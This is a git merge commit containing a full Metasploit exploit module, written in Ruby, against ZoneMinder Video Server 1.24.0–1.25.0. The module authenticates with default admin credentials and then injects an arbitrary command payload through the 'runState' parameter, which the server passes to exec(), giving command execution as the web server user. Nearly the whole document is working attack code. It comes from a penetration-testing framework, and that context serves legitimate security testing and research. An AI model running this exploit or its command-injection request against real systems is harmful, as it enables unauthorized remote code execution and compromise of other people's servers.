Merge branch 'zoneminder_packagecontrol_exec' of github.com:bcoles/metasploit-framework into bcoles-zoneminder_packagecontrol_exec
sinn3r
commit
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'ZoneMinder Video Server packageControl Command Execution',
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'Description' => %q{
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This module exploits a command execution vulnerability in ZoneMinder Video
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Server version 1.24.0 to 1.25.0 which could be abused to allow
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authenticated users to execute arbitrary commands under the context of the
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web server user. The 'packageControl' function in the
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'includes/actions.php' file calls 'exec()' with user controlled data
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from the 'runState' parameter.
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},
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'References' =>
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[
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['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'],
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],
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
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],
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'License' => MSF_LICENSE,
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'Privileged' => true,
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet python perl bash',
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},
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},
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => "Jan 22 2013",
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))
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register_options([
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OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
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OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
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OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
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], self.class)
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end
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def check
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peer = "#{rhost}:#{rport}"
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
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data = "action=login&view=version&username=#{user}&password=#{pass}"
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# login and retrieve software version
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print_status("#{peer} - Authenticating as user '#{user}'")
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'cookie' => "#{cookie}",
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'data' => "#{data}",
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})
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if res and res.code == 200
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if res.body =~ /<title>ZM - Login<\/title>/
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print_error("#{peer} - Authentication failed")
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return Exploit::CheckCode::Unknown
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elsif res.body =~ /v1.2(4\.\d+|5\.0)/
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return Exploit::CheckCode::Appears
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elsif res.body =~ /<title>ZM/
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return Exploit::CheckCode::Detected
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end
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end
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return Exploit::CheckCode::Safe
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
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print_error("#{peer} - Connection failed")
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end
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return Exploit::CheckCode::Unknown
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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base = target_uri.path
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base << '/' if base[-1, 1] != '/'
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cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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data = "action=login&view=postlogin&username=#{user}&password=#{pass}"
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command = Rex::Text.uri_encode(payload.encoded)
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# login
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print_status("#{@peer} - Authenticating as user '#{user}'")
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'cookie' => "#{cookie}",
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'data' => "#{data}",
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})
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if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
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fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
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end
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print_good("#{@peer} - Authenticated successfully")
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# send payload
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print_status("#{@peer} - Sending payload (#{command.length} bytes)")
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{base}index.php",
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'data' => "view=none&action=state&runState=start;#{command}%26",
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'cookie' => "#{cookie}"
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})
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if res and res.code == 200
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print_good("#{@peer} - Payload sent successfully")
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else
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fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
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end
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end
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end
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